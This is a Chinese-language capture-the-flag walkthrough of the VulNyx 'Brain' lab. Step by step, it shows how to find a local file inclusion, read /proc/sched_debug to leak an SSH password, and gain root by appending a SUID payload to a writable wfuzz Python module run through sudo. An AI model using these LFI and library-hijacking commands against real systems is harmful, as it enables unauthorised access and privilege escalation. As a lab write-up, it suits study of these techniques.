VulNyx - Brain:藏在神秘路徑裡的密碼
當一個網頁把整頁塞滿奇怪輸出時,它不是在裝飾版面,而是在對你大喊一個檔案路徑,這台 VulNyx 的 Brain 難度標示為 Easy,卻精準地卡住了我——不是因為技巧多難,而是因為它把答案藏在一個「你不知道就永遠想不到」的地方。
1. 靶機資訊
| 項目 | 內容 |
|---|---|
| 平台 | VulNyx |
| 名稱 | Brain |
| 作者 | d4t4s3c |
| 難度 | Easy |
2. 偵查
2.1 Nmap
全埠掃描的結果乾淨到有點過分,只有兩個 port:
nmap -n -Pn -sS -p- --min-rate 5000 <target>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))
22 (SSH) 加 80 (HTTP),SSH 在沒有憑證前動不了,所以入口幾乎確定在 web。
2.2 那個怪首頁
用瀏覽器打開 80,整頁只有這串:
runnable tasks:
S task PID tree-key switches prio wait-time sum-exec sum-sleep
-----------------------------------------------------------------------------------------------------------
S systemd 1 2927.102286 1731 120 0.000000 509.025216 0.000000 0 0 /
整頁只有 361 bytes,curl 怎麼打都回這串,換 User-Agent、換參數、POST 都不變,這是一個靜態的、寫死的頁面——注意那些數字永遠凍在同一個值,真正即時的系統資料不會這樣。
這裡先埋下一個伏筆:這個表格格式,其實是 Linux 核心檔案 /proc/sched_debug 的原生輸出格式,當時我也沒聽過這種格式,也沒有把它跟後面的攻擊連起來,這是後面繞遠路的主因,如果你也不認得這串是什麼,最快的做法就是把它整段丟進搜尋引擎,一秒就會告訴你這是 /proc/sched_debug,滲透測試不是什麼都要背,而是遇到不懂的能快速查清楚。
3. 立足點:從 LFI 到憑證
3.1 目錄與參數列舉
目錄爆破的結果只有 index.php,也就是首頁本身:
gobuster dir -w directory-list-2.3-medium.txt -u http://<target>/ -x html,php,txt
# /index.php (Status: 200) [Size: 361]
.git、.phps、vhost、備份檔全部落空,web 目錄底下扎扎實實只有 index.php 一個檔。
既然頁面沒有可見參數,就直接爆參數名,這裡的技巧是用 --hh=361(或 ffuf 的 -fs 361)把那個 361 bytes 的預設回應過濾掉,只要哪個參數讓頁面長度改變就會現形:
wfuzz -c --hc=404 -w common.txt -u "http://<target>/index.php?FUZZ=/etc/passwd" --hh=361
000002202: 200 33 L 64 W 1750 Ch "include"
參數名 include,回應直接跳到 1750 bytes——LFI 到手。
3.2 讀原始碼確認無過濾
用 php://filter 讀 index.php 自己的原始碼:
curl -s "http://<target>/index.php?include=php://filter/convert.base64-encode/resource=index.php" | base64 -d
解出來的後端邏輯簡單到極致:
<?php
$filename = $_GET['include'];
include($filename);
?>
零過濾、零黑名單的 include($_GET['include']),前面那串 sched_debug 是頁面直接寫死印在前面的裝飾,真正的功能就是這個無防護的檔案包含。
3.3 列舉使用者
curl -s "http://<target>/index.php?include=/etc/passwd" | grep "sh$"
root:x:0:0:root:/root:/bin/bash
ben:x:1000:1000:ben,,,:/home/ben:/bin/bash
真人帳號只有 root 與 ben,
3.4 關鍵反轉:讀「真正的」sched_debug
這一步是整台機器的核心,也是我繞遠路後才想通的地方。
首頁一直在給我看 sched_debug 的內容——那是提示,不是幌子,既然手上有任意檔讀取,那就該直接去讀那個檔案的本尊,首頁那份是 PHP 模仿的、刪減到只剩一行的假貨;而 /proc/sched_debug 是核心即時生成的,會列出系統上所有正在排程的 task:
curl -s "http://<target>/index.php?include=/proc/sched_debug" | grep ben
S ben:B3nP4zz 375 1257.728035 25 120 0.000000 0.989759 0.000000 0 0 /
作者在系統上跑了一個 process,把它的名稱刻意設成 ben:B3nP4zz,/proc/sched_debug 老實地把每個 task 的名稱列出來,於是密碼就這樣外洩了——B3nP4zz。
這裡是設計的精妙之處:/proc/sched_debug是 Linux 核心真實存在的檔案(跟/proc/cpuinfo、/proc/meminfo同類,都是核心即時吐出的狀態),作者沒有自創假路徑,而是利用一個真實但冷門的檔案,把祕密藏進它會顯示的 process 名稱裡,正因為它冷門,一般的 LFI 字典根本沒收錄這條路徑,純靠 fuzz 是掃不到的——只能靠「看懂首頁在模仿什麼檔,然後手動讀它的本尊」。
3.5 SSH 登入
sshpass -p 'B3nP4zz' ssh ben@<target> -o StrictHostKeyChecking=no
ben@brain:~$ id
uid=1000(ben) gid=1000(ben) grupos=1000(ben)
成功以 ben 的身分登入系統,取得使用者權限。
4. 提權:wfuzz 的 Python Library Hijacking
4.1 sudo 授權
登入後 sudo -l:
ben@brain:~$ sudo -l
User ben may run the following commands on Brain:
(root) NOPASSWD: /usr/bin/wfuzz
ben 可以免密碼、以 root 身分執行 wfuzz,這是一個突破口——而它終於解釋了官方的 wfuzz-sudo 標籤,諷刺的是,我一路都把 wfuzz 想成「爆破工具」,方向完全反了:它不是拿來爆密碼的,它是提權的載體。
4.2 為什麼 wfuzz 可以被劫持
把三個事實串起來,攻擊面就浮現了:
- wfuzz 是用 Python 寫的,執行時會
import它自己的模組(.py檔)。 - 你用
sudo跑它,那些被 import 的模組也是 root 在執行。 - 只要有一個「wfuzz 會載入、而你又能寫」的模組檔,你塞進去的程式碼就會以 root 執行。
Python 在 import 一個模組時,會從頭到尾執行整個檔案的模組層級程式碼——這正是可以被濫用的關鍵。
4.3 找出可寫的模組
ben@brain:~$ find / -writable 2>/dev/null | grep -vE "proc|sys|tmp|run|dev|home|var"
/usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py
ben@brain:~$ ls -l /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py
-rwxrwxrwx 1 root root 1519 abr 19 2023 range.py
-rwxrwxrwx(777),任何人可寫,這是作者刻意留的洞,而 range.py 正是 wfuzz 在使用 -z range 這個 payload 模組時會載入的檔案。
4.4 植入 payload 並觸發
把提權碼追加到模組尾巴,讓它在被 import 時給 /bin/bash 加上 SUID 位元:
ben@brain:~$ echo -e 'import os\nos.system("chmod +s /bin/bash")' >> /usr/lib/python3/dist-packages/wfuzz/plugins/payloads/range.py
然後用 sudo 執行 wfuzz,並以 -z range 強迫它載入被污染的模組:
ben@brain:~$ sudo /usr/bin/wfuzz -z range,1-1 -u http://127.0.0.1/FUZZ
-u 指定的 localhost 靶只是為了讓 wfuzz 跑得起來,回傳結果不重要——重點是它一啟動就 import 了 range.py,你的 chmod +s /bin/bash 在那一刻以 root 執行完畢。
4.5 拿下 root
ben@brain:~$ ls -l /bin/bash
-rwsr-sr-x 1 root root 1168776 abr 18 2019 /bin/bash
ben@brain:~$ /bin/bash -p
bash-5.0# id
uid=1000(ben) gid=1000(ben) euid=0(root) egid=0(root) grupos=0(root),1000(ben)
/bin/bash 上了 SUID 位元後,執行時有效使用者變成檔案擁有者 root;bash -p 的 -p 保留權限不 drop 回 ben,於是 euid=0,成功取得 root 權限。
5. 三個帶得走的教訓
首頁的怪內容,往往就是明示的路徑,作者花力氣模仿一個檔案的輸出格式給你看,不是無聊,是在叫你去讀那個檔的本尊,看到「某個檔的輸出樣子」,反射動作就該是「我手上的 LFI 能不能直接讀它」。
LFI 字典掃不到,不代表檔案不存在,字典是暴力枚舉常見路徑,但作者刻意暗示的冷門檔(例如 /proc/sched_debug)往往不在字典裡,遇到主題明顯指向某個檔,就手動補一發,別只信 fuzz 的結果。
sudo 能跑的 Python 工具 + 可寫模組 = 提權,Python Library Hijacking 不限於 wfuzz,任何 sudo 能執行的 Python 程式或腳本,都值得用 find / -writable 去找它會 import 的可寫模組,這是一招非常通用的本地提權模式,值得寫進自己的方法論。
至於那些 /proc 檔案——/proc/*/cmdline、/proc/*/environ、還有這次的 /proc/sched_debug——都是核心即時吐出的真實狀態,而 process 名稱、環境變數、命令列參數這些欄位,都可能被塞進敏感資訊,下次在任何 Linux 上看到有人給你看 /proc/ 的內容,記得多看一眼。
Happy Hacking 🧠
Member discussion